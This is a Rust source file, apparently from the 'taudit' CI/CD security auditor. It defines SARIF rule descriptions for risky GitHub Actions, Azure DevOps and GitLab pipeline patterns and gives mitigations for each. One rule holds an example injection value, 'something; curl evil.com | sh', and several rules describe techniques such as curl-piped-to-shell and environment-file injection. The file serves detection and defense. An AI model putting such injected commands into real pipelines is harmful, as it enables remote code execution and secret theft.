1use std::borrow::Cow;
2
3use serde::Serialize;
4use taudit_core::custom_rules::CustomRule;
5use taudit_core::error::TauditError;
6use taudit_core::finding::{
7 compute_finding_group_id, compute_fingerprint, compute_suppression_key, rule_id_for, Finding,
8 FindingSource, FixEffort, Severity,
9};
10use taudit_core::graph::AuthorityGraph;
11use taudit_core::ports::ReportSink;
12
13const SARIF_SCHEMA: &str = "https://schemastore.azurewebsites.net/schemas/json/sarif-2.1.0.json";
14const SARIF_VERSION: &str = "2.1.0";
15const TOOL_NAME: &str = "taudit";
16const TOOL_URI: &str = "https://github.com/0ryant/taudit";
17const RULES_BASE_URI: &str = "https://github.com/0ryant/taudit/blob/main/docs/rules";
18
19pub(crate) fn escape_markdown(s: &str) -> Cow<'_, str> {
63 if !needs_markdown_escape(s) {
64 return Cow::Borrowed(s);
65 }
66 let mut out = String::with_capacity(s.len() + s.len() / 4);
68 for c in s.chars() {
69 if is_markdown_special(c) {
70 out.push('\\');
71 }
72 out.push(c);
73 }
74 Cow::Owned(out)
75}
76
77#[inline]
78fn is_markdown_special(c: char) -> bool {
79 matches!(
80 c,
81 '\\' | '[' | ']' | '(' | ')' | '<' | '>' | '*' | '`' | '!'
82 )
83}
84
85#[inline]
86fn needs_markdown_escape(s: &str) -> bool {
87 s.chars().any(is_markdown_special)
88}
89
90pub struct RuleDef {
93 pub id: &'static str,
94 pub name: &'static str,
95 pub short_description: &'static str,
96 pub full_description: &'static str,
97 pub default_level: &'static str,
98 pub security_severity: &'static str,
99 pub tags: &'static [&'static str],
100}
101
102pub fn all_rules() -> &'static [RuleDef] {
105 RULE_DEFS
106}
107
108pub const RULE_DEFS: &[RuleDef] = &[
109 RuleDef {
110 id: "authority_propagation",
111 name: "AuthorityPropagation",
112 short_description: "A secret or identity propagates to a step in a lower trust zone.",
113 full_description:
114 "A secret or identity propagates to a step in a lower trust zone, allowing \
115 privileged credentials to be observed or exfiltrated by untrusted code.",
116 default_level: "error",
117 security_severity: "9.0",
118 tags: &["security", "privilege-escalation"],
119 },
120 RuleDef {
121 id: "over_privileged_identity",
122 name: "OverPrivilegedIdentity",
123 short_description:
124 "A GITHUB_TOKEN or service identity has broader permissions than needed.",
125 full_description:
126 "A GITHUB_TOKEN or service identity has broader permissions than needed for the \
127 work the workflow actually performs, expanding the blast radius if the token is \
128 misused or leaked.",
129 default_level: "error",
130 security_severity: "7.5",
131 tags: &["security", "privilege-escalation"],
132 },
133 RuleDef {
134 id: "unpinned_action",
135 name: "UnpinnedAction",
136 short_description:
137 "A third-party action is referenced by mutable tag instead of SHA digest.",
138 full_description:
139 "A third-party action is referenced by a mutable tag or branch instead of an \
140 immutable SHA digest. The action's code can change under the workflow without \
141 any local change, enabling supply-chain attacks.",
142 default_level: "error",
143 security_severity: "7.5",
144 tags: &["security", "supply-chain"],
145 },
146 RuleDef {
147 id: "oidc_identity_in_untrusted_context",
148 name: "OidcIdentityInUntrustedContext",
149 short_description: "An untrusted trigger context can mint an OIDC identity.",
150 full_description:
151 "A pull request, merge request, workflow_run, issue/comment, or equivalent \
152 untrusted trigger context can reach an OIDC-capable identity. OIDC avoids \
153 long-lived secrets but still needs provider-side subject and audience \
154 constraints, protected refs, or environment gates.",
155 default_level: "error",
156 security_severity: "8.0",
157 tags: &["security", "oidc", "privilege-escalation"],
158 },
159 RuleDef {
160 id: "action_major_version_pin_without_sha",
161 name: "ActionMajorVersionPinWithoutSha",
162 short_description: "An action is pinned only to a mutable major-version tag.",
163 full_description:
164 "A GitHub Actions `uses:` reference is pinned only to a moving major tag such \
165 as `@v1` or `@v2`. Major tags can be retargeted by the action maintainer; pin \
166 the action to a full commit SHA for reproducible supply-chain evidence.",
167 default_level: "warning",
168 security_severity: "5.0",
169 tags: &["security", "supply-chain", "github-actions"],
170 },
171 RuleDef {
172 id: "known_compromised_action_ref",
173 name: "KnownCompromisedActionRef",
174 short_description: "An action reference matches a public compromise advisory family.",
175 full_description:
176 "A workflow references a GitHub Action family with a public compromise advisory. \
177 Static YAML cannot prove a historical run executed an affected SHA; correlate \
178 the workflow run timestamp and resolved action ref with the advisory window, \
179 then rotate any secrets reachable by the job.",
180 default_level: "error",
181 security_severity: "9.0",
182 tags: &["security", "supply-chain", "github-actions", "advisory"],
183 },
184 RuleDef {
185 id: "untrusted_with_authority",
186 name: "UntrustedWithAuthority",
187 short_description:
188 "An untrusted or unpinned step has direct access to a secret or identity.",
189 full_description:
190 "An untrusted or unpinned step has direct access to a secret or identity. \
191 Compromise of that step yields immediate compromise of the associated authority. \
192 \n\n\
193 On ADO, System.AccessToken is injected into every task by the platform — this \
194 is structural exposure, not a misconfiguration. Findings against System.AccessToken \
195 are emitted at Info severity to distinguish them from actionable Critical findings \
196 against explicit secrets or service connections. To reduce structural exposure, \
197 set `env.SYSTEM_ACCESSTOKEN` only on steps that require it, or restrict the \
198 token scope via pipeline-level `security:` settings.",
199 default_level: "error",
200 security_severity: "9.0",
201 tags: &["security", "privilege-escalation"],
202 },
203 RuleDef {
204 id: "artifact_boundary_crossing",
205 name: "ArtifactBoundaryCrossing",
206 short_description:
207 "An artifact produced by a privileged step is consumed across a trust boundary.",
208 full_description:
209 "An artifact produced by a privileged step is consumed across a trust boundary \
210 without attestation or verification, allowing downstream stages to execute \
211 content originating from a higher-trust context without provenance checks.",
212 default_level: "error",
213 security_severity: "7.5",
214 tags: &["security", "supply-chain"],
215 },
216 RuleDef {
217 id: "floating_image",
218 name: "FloatingImage",
219 short_description: "A container image is referenced without a digest pin.",
220 full_description:
221 "A container image is referenced by tag (e.g. :latest) rather than an immutable \
222 digest. The image contents may change between runs without any local change, \
223 breaking reproducibility and enabling supply-chain attacks.",
224 default_level: "warning",
225 security_severity: "5.0",
226 tags: &["security", "supply-chain"],
227 },
228 RuleDef {
229 id: "long_lived_credential",
230 name: "LongLivedCredential",
231 short_description:
232 "A secret name matches static credential patterns (API keys, passwords, tokens).",
233 full_description:
234 "A secret referenced by the workflow matches patterns indicating a long-lived \
235 static credential (API key, password, personal access token). Long-lived \
236 credentials should be replaced with short-lived OIDC-issued tokens where possible.",
237 default_level: "error",
238 security_severity: "7.5",
239 tags: &["security", "credentials"],
240 },
241 RuleDef {
242 id: "persisted_credential",
243 name: "PersistedCredential",
244 short_description: "Checkout step persists repository credentials to disk",
245 full_description:
246 "A checkout step with persistCredentials:true writes the repository token to \
247 .git/config on disk, where it persists beyond the lifetime of the step and may \
248 be read by subsequent steps or exfiltrated.",
249 default_level: "error",
250 security_severity: "9.0",
251 tags: &["security", "supply-chain"],
252 },
253 RuleDef {
254 id: "trigger_context_mismatch",
255 name: "TriggerContextMismatch",
256 short_description: "Privileged workflow triggered by untrusted pull request context",
257 full_description:
258 "A workflow triggered by pull_request_target or an ADO pr trigger runs with \
259 write permissions in the base repository context while potentially executing \
260 untrusted code from a fork, creating a privilege escalation path.",
261 default_level: "error",
262 security_severity: "9.0",
263 tags: &["security", "privilege-escalation"],
264 },
265 RuleDef {
266 id: "cross_workflow_authority_chain",
267 name: "CrossWorkflowAuthorityChain",
268 short_description: "Authority-bearing step delegates to external or untrusted workflow",
269 full_description:
270 "A step holding secrets or elevated identity permissions delegates execution to \
271 a reusable workflow or template hosted in an external or untrusted repository, \
272 allowing that external code to inherit the authority.",
273 default_level: "error",
274 security_severity: "9.0",
275 tags: &["security", "supply-chain"],
276 },
277 RuleDef {
278 id: "authority_cycle",
279 name: "AuthorityCycle",
280 short_description: "Workflow delegation graph contains a cycle",
281 full_description:
282 "The workflow delegation graph contains a cycle — a workflow calls itself or \
283 another workflow that eventually calls back, creating unbounded privilege \
284 escalation paths and potential infinite execution.",
285 default_level: "error",
286 security_severity: "7.5",
287 tags: &["security", "configuration"],
288 },
289 RuleDef {
290 id: "uplift_without_attestation",
291 name: "UpliftWithoutAttestation",
292 short_description: "OIDC-privileged build does not produce a signed attestation",
293 full_description:
294 "A step with access to an OIDC identity produces artifacts without generating a \
295 cryptographic attestation. Downstream consumers cannot verify provenance or \
296 integrity of these artifacts.",
297 default_level: "note",
298 security_severity: "0.1",
299 tags: &["security", "supply-chain"],
300 },
301 RuleDef {
302 id: "self_mutating_pipeline",
303 name: "SelfMutatingPipeline",
304 short_description:
305 "Step writes to GITHUB_ENV or GITHUB_PATH, mutating the pipeline environment",
306 full_description: "A step appends to GITHUB_ENV or GITHUB_PATH, injecting values into the \
307 environment or PATH for all subsequent steps. An untrusted or compromised step \
308 could use this to escalate privileges or hijack later execution.",
309 default_level: "error",
310 security_severity: "9.0",
311 tags: &["security", "injection"],
312 },
313 RuleDef {
314 id: "variable_group_in_pr_job",
315 name: "VariableGroupInPrJob",
316 short_description: "PR-triggered job accesses ADO variable group secrets",
317 full_description: "A PR-triggered pipeline job has access to variable group secrets. PR \
318 pipelines run in the context of untrusted contributor code — variable group \
319 secrets crossing this boundary may be exfiltrated via log output, environment \
320 variables, or network calls.",
321 default_level: "error",
322 security_severity: "9.0",
323 tags: &["security", "privilege-escalation"],
324 },
325 RuleDef {
326 id: "self_hosted_pool_pr_hijack",
327 name: "SelfHostedPoolPrHijack",
328 short_description: "PR pipeline uses self-hosted pool with repository checkout",
329 full_description: "A PR-triggered pipeline runs on a self-hosted agent and checks out the \
330 repository. An attacker can inject malicious git hooks via the PR that persist \
331 on the shared runner, executing with the pipeline's full authority on \
332 subsequent runs.",
333 default_level: "error",
334 security_severity: "9.0",
335 tags: &["security", "injection"],
336 },
337 RuleDef {
338 id: "shared_self_hosted_pool_no_isolation",
339 name: "SharedSelfHostedPoolNoIsolation",
340 short_description: "ADO self-hosted pool missing workspace isolation (`workspace: {clean: all}`)",
341 full_description: "An ADO pipeline runs on a self-hosted agent pool that does not declare \
342 `workspace: { clean: all }`. Self-hosted agents are shared across pipeline runs — a previous \
343 run (potentially from a low-trust source) can leave behind malicious files, compiled \
344 artefacts, or git hooks that persist on disk and execute with the next run's authority, \
345 including privileged deployment jobs. Microsoft-hosted agents are ephemeral and are never \
346 flagged by this rule.",
347 default_level: "error",
348 security_severity: "7.5",
349 tags: &["security", "injection", "azure-devops"],
350 },
351 RuleDef {
352 id: "service_connection_scope_mismatch",
353 name: "ServiceConnectionScopeMismatch",
354 short_description: "Broad-scope service connection accessible from PR-triggered job",
355 full_description:
356 "A PR-triggered pipeline job has access to an ADO service connection with \
357 broad or unknown scope and no OIDC federation. The static credential may have \
358 subscription-wide Azure RBAC permissions, enabling lateral movement into the \
359 Azure tenant from untrusted PR code.",
360 default_level: "error",
361 security_severity: "7.5",
362 tags: &["security", "privilege-escalation"],
363 },
364 RuleDef {
365 id: "template_extends_unpinned_branch",
366 name: "TemplateExtendsUnpinnedBranch",
367 short_description:
368 "ADO pipeline pulls a template repository pinned to a mutable branch or default branch.",
369 full_description:
370 "An Azure DevOps pipeline declares a `resources.repositories` entry that resolves to a \
371 mutable target — either no `ref:` field at all (defaults to the repo's default branch) \
372 or `refs/heads/<branch>` with a normal branch name. The pipeline references the alias \
373 via `extends:`, `template: x@<alias>`, or `checkout: <alias>`. Whoever owns that branch \
374 can inject steps into every consuming pipeline at the next run — the ADO equivalent of \
375 an unpinned GitHub Action. Combined with self-hosted pool reuse this is full pipeline \
376 RCE. Pin to `refs/tags/<x>` or a 40-char commit SHA.",
377 default_level: "error",
378 security_severity: "7.5",
379 tags: &["security", "supply-chain"],
380 },
381 RuleDef {
382 id: "template_repo_ref_is_feature_branch",
383 name: "TemplateRepoRefIsFeatureBranch",
384 short_description:
385 "ADO pipeline pins a template repository to a developer feature branch.",
386 full_description:
387 "An Azure DevOps pipeline's `resources.repositories[].ref` resolves to a feature-class \
388 branch — anything outside the platform-blessed set (`main`, `master`, `release/*`, \
389 `hotfix/*`). Feature branches typically have weaker push protection than the trunk: any \
390 developer with write access to that branch can push pipeline YAML that runs with the \
391 consumer pipeline's authority — service connections, variable groups, OIDC federations, \
392 `System.AccessToken`. This is strictly worse than pinning to `main`, because main \
393 usually has branch protection (required reviewers, build validation) that a feature \
394 branch lacks. Co-fires with `template_extends_unpinned_branch`, which describes the \
395 same entry from the abstract \"not pinned\" angle. Pin to `refs/tags/<x>` or a 40-char \
396 commit SHA.",
397 default_level: "error",
398 security_severity: "7.5",
399 tags: &["security", "supply-chain", "azure-devops"],
400 },
401 RuleDef {
402 id: "vm_remote_exec_via_pipeline_secret",
403 name: "VmRemoteExecViaPipelineSecret",
404 short_description:
405 "Pipeline step uses Azure VM remote-exec primitive with secret or SAS in the command line",
406 full_description:
407 "A pipeline step invokes Set-AzVMExtension/CustomScriptExtension, \
408 Invoke-AzVMRunCommand, az vm run-command, or az vm extension set, \
409 where the executed command line is constructed from a pipeline secret or \
410 a freshly-minted SAS token. This is a pipeline-to-VM lateral movement \
411 primitive — every pipeline run can RCE every VM in scope, and the \
412 credential embedded in the command line is logged in plaintext on the VM \
413 (CustomScriptExtension status JSON, Windows event log, /var/log) and in \
414 the ARM extension status that anyone with reader on the resource can pull.",
415 default_level: "error",
416 security_severity: "7.5",
417 tags: &["security", "credentials", "lateral-movement"],
418 },
419 RuleDef {
420 id: "short_lived_sas_in_command_line",
421 name: "ShortLivedSasInCommandLine",
422 short_description:
423 "SAS token minted in-pipeline is passed as a command-line argument",
424 full_description:
425 "A SAS token minted in-pipeline (New-AzStorage*SASToken or \
426 az storage * generate-sas) is interpolated into commandToExecute, \
427 scriptArguments, --arguments, -ArgumentList, or otherwise placed on \
428 the process command line instead of being passed via env var or stdin. \
429 Even short-lived SAS tokens in argv hit Linux /proc/*/cmdline, Windows \
430 ETW process-create events, and ARM extension status — logged for the \
431 SAS lifetime, accessible to any local process with the right privileges \
432 and any reader on the resource.",
433 default_level: "warning",
434 security_severity: "5.0",
435 tags: &["security", "credentials"],
436 },
437 RuleDef {
438 id: "checkout_self_pr_exposure",
439 name: "CheckoutSelfPrExposure",
440 short_description: "PR-triggered pipeline checks out attacker-controlled repository code",
441 full_description:
442 "A PR-triggered pipeline job (pull_request_target or ADO pr: trigger) performs \
443 a checkout of the repository. Attacker-controlled code from a forked PR lands on \
444 the runner's workspace and is readable by all subsequent steps. Any step that \
445 reads workspace files — scripts, configs, test fixtures — is a potential \
446 exfiltration or injection vector. This is distinct from trigger_context_mismatch \
447 which fires on authority access; this rule fires whenever code from an untrusted \
448 source lands on a privileged runner, regardless of explicit secret access.",
449 default_level: "warning",
450 security_severity: "7.0",
451 tags: &["security", "supply-chain", "pull-request"],
452 },
453 RuleDef {
454 id: "secret_to_inline_script_env_export",
455 name: "SecretToInlineScriptEnvExport",
456 short_description: "Pipeline secret assigned to a shell variable inside an inline script",
457 full_description: "An inline script (`script:`, `Bash@3.inputs.script`, \
458 `PowerShell@2.inputs.script`, `AzureCLI@2.inputs.inlineScript`, …) assigns a \
459 pipeline `$(SECRET)` value to a shell variable (`export FOO=$(SECRET)`, \
460 `$X = \"$(SECRET)\"`). ADO masks `$(SECRET)` as it appears in log output, but \
461 masking is applied to the rendered command string before the shell runs. Once \
462 the value is bound to a shell variable any transcript (`Start-Transcript`, \
463 `bash -x`, `terraform TF_LOG=DEBUG`, `az --debug`, error stack traces) prints \
464 the cleartext credential — a historical breach vector for ADO-hosted Terraform \
465 and Azure CLI pipelines.",
466 default_level: "error",
467 security_severity: "7.5",
468 tags: &["security", "credentials", "azure-devops"],
469 },
470 RuleDef {
471 id: "secret_materialised_to_workspace_file",
472 name: "SecretMaterialisedToWorkspaceFile",
473 short_description: "Pipeline secret written to a file under the agent workspace",
474 full_description: "An inline script writes a pipeline `$(SECRET)` value to a file under \
475 `$(System.DefaultWorkingDirectory)`, `$(Build.SourcesDirectory)`, or with a \
476 credential-bearing extension (`.tfvars`, `.env`, `.hcl`, `.pfx`, `.key`, `.pem`, \
477 `.kubeconfig`, …). The file persists for the rest of the job, is readable by \
478 every subsequent step, and may be uploaded by a later `PublishPipelineArtifact` \
479 task. Use the `secureFile` task or stream the secret over stdin / an env var \
480 to the consuming tool instead.",
481 default_level: "error",
482 security_severity: "7.5",
483 tags: &["security", "credentials", "azure-devops"],
484 },
485 RuleDef {
486 id: "keyvault_secret_to_plaintext",
487 name: "KeyVaultSecretToPlaintext",
488 short_description: "Inline PowerShell pulls a Key Vault secret as plaintext (-AsPlainText)",
489 full_description:
490 "An inline PowerShell or AzurePowerShell step calls `Get-AzKeyVaultSecret \
491 -AsPlainText`, `ConvertFrom-SecureString -AsPlainText`, or the older \
492 `(Get-AzKeyVaultSecret …).SecretValueText` pattern, landing the secret in a \
493 non-`SecureString` variable. The value is fetched directly from Key Vault — it \
494 never traverses the ADO variable-group boundary, so pipeline log masking does \
495 not apply. Verbose `Az` / PowerShell logging (`Set-PSDebug -Trace`, \
496 `$VerbosePreference = \"Continue\"`) and any error stack trace will then print \
497 the cleartext credential. Keep the secret as a `SecureString` and only convert \
498 to plaintext at the exact moment of consumption.",
499 default_level: "warning",
500 security_severity: "5.0",
501 tags: &["security", "credentials", "azure-devops"],
502 },
503 RuleDef {
504 id: "terraform_auto_approve_in_prod",
505 name: "TerraformAutoApproveInProd",
506 short_description:
507 "`terraform apply -auto-approve` against a production service connection without an environment gate",
508 full_description:
509 "An ADO step runs `terraform apply -auto-approve` (either via an inline script \
510 or via TerraformCLI/TerraformTask with `command: apply` and commandOptions \
511 containing `auto-approve`) against a service connection whose name matches \
512 production patterns (`prod`, `production`, `prd`), and the enclosing job has \
513 no `environment:` binding. The auto-approve flag bypasses the only ADO-side \
514 change-control on infrastructure rewrites; combined with a shared agent pool, \
515 any committer can rewrite production.",
516 default_level: "error",
517 security_severity: "9.0",
518 tags: &["security", "configuration", "azure-devops"],
519 },
520 RuleDef {
521 id: "add_spn_with_inline_script",
522 name: "AddSpnWithInlineScript",
523 short_description:
524 "`AzureCLI` task with addSpnToEnvironment:true plus an inline script — federated token can be laundered",
525 full_description:
526 "An `AzureCLI@2` (or `AzurePowerShell`) task runs an inline script with \
527 `addSpnToEnvironment: true`, which exposes the federated SPN material \
528 (`$env:idToken`, `$env:servicePrincipalKey`, `$env:servicePrincipalId`, \
529 `$env:tenantId`) as environment variables. An inline script can write that \
530 material to a normal pipeline variable via `##vso[task.setvariable]`, after \
531 which the OIDC token is inherited un-masked by every downstream task.",
532 default_level: "error",
533 security_severity: "7.5",
534 tags: &["security", "credentials", "azure-devops"],
535 },
536 RuleDef {
537 id: "secrets_inherit_overscoped_passthrough",
538 name: "SecretsInheritOverscopedPassthrough",
539 short_description:
540 "Reusable workflow called with `secrets: inherit` under an attacker-influenced trigger",
541 full_description:
542 "A reusable workflow `uses:` call uses `secrets: inherit` while the calling \
543 workflow is triggered by `pull_request`, `pull_request_target`, \
544 `pull_request_review`, `pull_request_review_comment`, `issue_comment`, or \
545 `workflow_run`. `inherit` forwards the entire caller secret bag to the callee \
546 regardless of which secrets the callee consumes — every transitive `uses:` in \
547 the called workflow inherits the same scope. Combined with a trigger an external \
548 party can fire (PR open, issue comment, workflow_run reaction), every secret in \
549 scope is one compromised callee away from exfiltration. Replace with an explicit \
550 `secrets:` mapping that lists only the secrets the callee actually needs.",
551 default_level: "error",
552 security_severity: "7.5",
553 tags: &["security", "propagation", "github-actions"],
554 },
555 RuleDef {
556 id: "unsafe_pr_artifact_in_workflow_run_consumer",
557 name: "UnsafePrArtifactInWorkflowRunConsumer",
558 short_description:
559 "workflow_run/pull_request_target consumer downloads and interprets a PR-context artifact",
560 full_description:
561 "A workflow triggered by `workflow_run` or `pull_request_target` downloads an \
562 artifact from the originating run AND interprets its content into a privileged \
563 sink — posting the bytes back to a PR comment, piping them into `$GITHUB_ENV`/\
564 `$GITHUB_OUTPUT`, `eval`, `unzip`/`tar -x`, or `cat`/`jq`. The producer ran in PR \
565 context, so a malicious PR can write arbitrary content into the artifact while \
566 the consumer runs with upstream-repo authority (typically `pull-requests: write` \
567 plus contents/issues scope). The classic mypy_primer / coverage-comment artifact \
568 RCE pattern. Treat downloaded artifacts as untrusted, validate against a strict \
569 schema, and never feed unsanitised content into a sink that mutates the \
570 environment, comments, or env vars.",
571 default_level: "error",
572 security_severity: "7.5",
573 tags: &["security", "supply-chain", "github-actions"],
574 },
575 RuleDef {
576 id: "parameter_interpolation_into_shell",
577 name: "ParameterInterpolationIntoShell",
578 short_description:
579 "Free-form string parameter interpolated into an inline script — shell injection vector",
580 full_description:
581 "A pipeline-level `parameters:` entry of `type: string` with no `values:` \
582 allowlist is interpolated via `${{ parameters.<name> }}` directly into an \
583 inline shell or PowerShell script body. ADO does not escape parameter values \
584 during YAML emission, so anyone with permission to queue the build can inject \
585 arbitrary shell commands by passing a malicious value (e.g. \
586 `something; curl evil.com | sh`). Constrain inputs with a `values:` allowlist \
587 or pass the parameter through the step's `env:` block so the runtime quotes it.",
588 default_level: "warning",
589 security_severity: "5.0",
590 tags: &["security", "injection", "azure-devops"],
591 },
592 RuleDef {
593 id: "runtime_script_fetched_from_floating_url",
594 name: "RuntimeScriptFetchedFromFloatingUrl",
595 short_description:
596 "A `run:` step downloads and executes a script from a mutable URL (curl|bash from a branch ref).",
597 full_description:
598 "A workflow step pipes a remotely-fetched script directly into a shell \
599 interpreter (`curl … | bash`, `wget … | sh`, `bash <(curl …)`, \
600 `deno run https://…`) where the URL is not pinned to a tag or commit SHA — \
601 typically containing `refs/heads/`, `/main/`, or `/master/`. Whoever can land \
602 a commit on the referenced branch (including the upstream maintainers, but \
603 also any attacker who compromises the upstream account) executes arbitrary \
604 code on the runner with the workflow's full token scope. Pin to a release tag \
605 or, better, to a commit SHA, and verify the download against a checksum.",
606 default_level: "error",
607 security_severity: "7.5",
608 tags: &["security", "injection", "supply-chain", "github-actions"],
609 },
610 RuleDef {
611 id: "docker_socket_exposed_to_ci_step",
612 name: "DockerSocketExposedToCiStep",
613 short_description: "A CI step exposes the host Docker socket.",
614 full_description:
615 "A CI step references or mounts `/var/run/docker.sock`. Docker socket access is \
616 effectively runner-host authority because the step can start containers with \
617 arbitrary bind mounts and read host filesystem state. Prefer rootless builders \
618 or a dedicated isolated runner with no shared workspace and no secrets.",
619 default_level: "error",
620 security_severity: "9.0",
621 tags: &["security", "isolation", "containers"],
622 },
623 RuleDef {
624 id: "privileged_container_in_ci_step",
625 name: "PrivilegedContainerInCiStep",
626 short_description: "A CI step starts a privileged container.",
627 full_description:
628 "A CI step runs Docker, Podman, or Buildah with `--privileged`. Privileged \
629 containers remove normal kernel isolation and can become runner-host compromise \
630 primitives when combined with bind mounts, cached workspaces, or secrets.",
631 default_level: "error",
632 security_severity: "7.5",
633 tags: &["security", "isolation", "containers"],
634 },
635 RuleDef {
636 id: "pr_trigger_with_floating_action_ref",
637 name: "PrTriggerWithFloatingActionRef",
638 short_description:
639 "High-authority PR trigger combined with a non-SHA-pinned action ref — single-PR RCE chain.",
640 full_description:
641 "The workflow uses a high-authority PR-class trigger (`pull_request_target`, \
642 `issue_comment`, or `workflow_run`) that runs in the base repository context \
643 with full `GITHUB_TOKEN` write permissions, and at least one step references \
644 an action by a mutable ref (`@main`, `@master`, `@v1`) instead of a 40-char \
645 commit SHA. Anyone who can push to the referenced action branch executes code \
646 with full write access on the target repository — a one-PR exploit chain. \
647 Either drop the privileged trigger (use `pull_request` for CI) or pin every \
648 action in the workflow to a commit SHA.",
649 default_level: "error",
650 security_severity: "9.0",
651 tags: &["security", "privilege-escalation", "supply-chain", "github-actions"],
652 },
653 RuleDef {
654 id: "untrusted_api_response_to_env_sink",
655 name: "UntrustedApiResponseToEnvSink",
656 short_description:
657 "API response derived from PR metadata is written to $GITHUB_ENV — environment injection vector.",
658 full_description:
659 "A `workflow_run`-triggered workflow captures output from a GitHub API call \
660 (`gh pr view`, `gh api`, `curl api.github.com`) and pipes it into \
661 `$GITHUB_ENV`, `$GITHUB_OUTPUT`, or `$GITHUB_PATH` without sanitisation. \
662 Because the API response embeds attacker-influenced fields (branch name, PR \
663 title, head commit message), a value crafted to contain a newline plus \
664 `KEY=value` injects an environment variable into every subsequent step in \
665 the same job — including steps that hold the repository write token. \
666 Validate with a strict regex before redirecting to the env file, or write \
667 only known-numeric fields (PR number, commit timestamp).",
668 default_level: "error",
669 security_severity: "7.5",
670 tags: &["security", "injection", "github-actions"],
671 },
672 RuleDef {
673 id: "pr_build_pushes_image_with_floating_credentials",
674 name: "PrBuildPushesImageWithFloatingCredentials",
675 short_description:
676 "PR-triggered workflow logs into a container registry via a non-SHA-pinned action.",
677 full_description:
678 "A `pull_request`-triggered workflow uses a container-registry login action \
679 (`docker/login-action`, `aws-actions/amazon-ecr-login`, `azure/docker-login`, \
680 `google-github-actions/auth`) pinned to a mutable ref. The login action \
681 receives either an OIDC token (when `id-token: write` is granted) or a \
682 long-lived registry credential. A compromise of the action's branch lets an \
683 attacker exfiltrate that credential, and any subsequent `docker push` \
684 publishes a PR-controlled image to a shared registry — poisoning every \
685 downstream consumer. Pin every login action to a commit SHA and gate the \
686 push step on `if: github.event.pull_request.head.repo.fork == false`.",
687 default_level: "error",
688 security_severity: "7.5",
689 tags: &["security", "supply-chain", "credentials", "github-actions"],
690 },
691 RuleDef {
692 id: "secret_via_env_gate_to_untrusted_consumer",
693 name: "SecretViaEnvGateToUntrustedConsumer",
694 short_description:
695 "Secret laundered through $GITHUB_ENV by a first-party step is read by a later untrusted step in the same job.",
696 full_description:
697 "A first-party step writes a Secret/Identity-derived value into `$GITHUB_ENV` \
698 (or pipeline-variable equivalent), and a later step in the same job that \
699 runs in the Untrusted or ThirdParty trust zone reads from the runner-managed \
700 env via `${{ env.X }}`. The two component rules — `self_mutating_pipeline` \
701 on the writer and `untrusted_with_authority` on the consumer — each see only \
702 half the chain and emit no finding; the env gate launders the secret across \
703 the trust boundary without ever producing a `HasAccessTo` edge from the \
704 consumer to the original credential. \
705 \n\n\
706 Mitigation: pass the secret to the consuming step via an explicit `env:` \
707 mapping on that step (so the relationship is graph-visible) instead of \
708 writing it to `$GITHUB_ENV` for ambient pickup. If the consumer is a \
709 third-party action, pin it to a 40-char SHA before exposing any \
710 secret-derived value to it.",
711 default_level: "error",
712 security_severity: "9.0",
713 tags: &[
714 "security",
715 "privilege-escalation",
716 "propagation",
717 "github-actions",
718 ],
719 },
720 RuleDef {
722 id: "no_workflow_level_permissions_block",
723 name: "NoWorkflowLevelPermissionsBlock",
724 short_description:
725 "GitHub Actions workflow declares no top-level or per-job `permissions:` block.",
726 full_description:
727 "The workflow declares neither a top-level `permissions:` block nor a per-job \
728 `permissions:` block. Without an explicit declaration, `GITHUB_TOKEN` falls back to \
729 the broad GitHub default scope (`contents: write`, `packages: write`, metadata \
730 read, etc.) on every trigger. The blast radius cannot be determined by reading the \
731 workflow file alone — making both review and incident triage harder. Add \
732 `permissions: {}` at the top level (strips all defaults), then narrow per-job to \
733 the minimum each job needs.",
734 default_level: "warning",
735 security_severity: "5.0",
736 tags: &["security", "configuration", "github-actions"],
737 },
738 RuleDef {
739 id: "prod_deploy_job_no_environment_gate",
740 name: "ProdDeployJobNoEnvironmentGate",
741 short_description:
742 "ADO production deployment job has no `environment:` binding (no approval gate).",
743 full_description:
744 "An ADO step targets a service connection whose name matches a production pattern \
745 (`prod`, `production`, `prd`) but the enclosing job carries no `environment:` \
746 binding. Strictly broader than `terraform_auto_approve_in_prod` — fires on any \
747 prod-SC operation (Terraform apply, ARM/Bicep deployment, AzureCLI/AzurePowerShell \
748 custom step) regardless of whether `-auto-approve` is present. Without an \
749 environment binding the step bypasses the only ADO-side approval gate, runs on \
750 every trigger, and produces no entry in the ADO Environments audit trail.",
751 default_level: "error",
752 security_severity: "7.5",
753 tags: &["security", "privilege-escalation", "azure-devops"],
754 },
755 RuleDef {
756 id: "long_lived_secret_without_oidc_recommendation",
757 name: "LongLivedSecretWithoutOidcRecommendation",
758 short_description:
759 "Long-lived cloud credential in scope; provider supports OIDC and no OIDC identity exists.",
760 full_description:
761 "A long-lived static credential is in scope (name matches an AWS / GCP / Azure \
762 pattern such as `AWS_*`, `GCP_*`, `GOOGLE_*`, `AZURE_*`, `ARM_*`) AND no OIDC \
763 identity is present in the workflow's authority graph. The named cloud supports \
764 OIDC federation, so the static credential could be replaced with a short-lived \
765 token issued at runtime. Advisory uplift on top of `long_lived_credential` — does \
766 not double-flag the underlying credential, only adds the migration recommendation. \
767 Wires the existing `Recommendation::FederateIdentity` enum variant.",
768 default_level: "note",
769 security_severity: "0.1",
770 tags: &["security", "credentials"],
771 },
772 RuleDef {
773 id: "pull_request_workflow_inconsistent_fork_check",
774 name: "PullRequestWorkflowInconsistentForkCheck",
775 short_description:
776 "Some privileged jobs in this PR workflow guard with a fork-check `if:`; others do not.",
777 full_description:
778 "A `pull_request` / `pull_request_target` workflow has multiple privileged jobs \
779 (jobs with steps that hold secrets or identity authority). At least one job's \
780 privileged steps are guarded by the standard fork-check `if:` \
781 (`github.event.pull_request.head.repo.fork == false` or the equivalent \
782 `head.repo.full_name == github.repository`) — but at least one OTHER privileged \
783 job is unguarded. The org has the right defensive instinct (some jobs have the \
784 check) but applied it inconsistently. The unguarded jobs hold authority that \
785 fork-PR code can reach. Add the same fork-check to every privileged job in the \
786 workflow.",
787 default_level: "error",
788 security_severity: "7.5",
789 tags: &["security", "privilege-escalation", "github-actions"],
790 },
791 RuleDef {
792 id: "gitlab_deploy_job_missing_protected_branch_only",
793 name: "GitlabDeployJobMissingProtectedBranchOnly",
794 short_description:
795 "GitLab deploy job targets a production environment but has no protected-branch restriction.",
796 full_description:
797 "A GitLab CI job has an `environment:` binding whose name matches a production \
798 pattern (`prod`, `production`, `prd`) but no `rules:` / `only:` clause restricts \
799 execution to protected branches. The job runs (or attempts to run) on every \
800 pipeline trigger — every MR, every push. If branch protection is later relaxed \
801 the deploy silently becomes runnable from unprotected branches. Add \
